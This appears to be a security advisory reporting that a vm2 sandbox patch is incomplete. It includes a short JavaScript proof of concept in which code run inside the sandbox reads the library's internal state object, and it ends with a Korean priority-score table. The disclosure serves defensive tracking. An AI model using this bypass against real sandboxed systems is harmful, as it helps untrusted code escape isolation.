vm2 has access to `VM2_INTERNAL_STATE_DO_NOT_USE_OR_PROGRAM_WILL_FAIL`
https://github.com/patriksimek/vm2/security/advisories/GHSA-wp5r-2gw5-m7q7 is not fully patched.
It is still possible to get access to VM2_INTERNAL_STATE_DO_NOT_USE_OR_PROGRAM_WILL_FAIL.
const {VM} = require("vm2");
const vm = new VM();
console.log(vm.run(`
globalThis['VM2_INTERNAL_STATE_DO_NOT_USE_OR_PROGRAM_WILL_FAIL']
`));
왜 이 VPI인가 (설명가능 · 실험적)
VPI 산정 기준
| 영향도 | 53.00 |
| 악용 신호(추가 악용신호 없음) | ×1.00 |
| VPI | 53.00 |
VPI 공식 vpi-v1 기준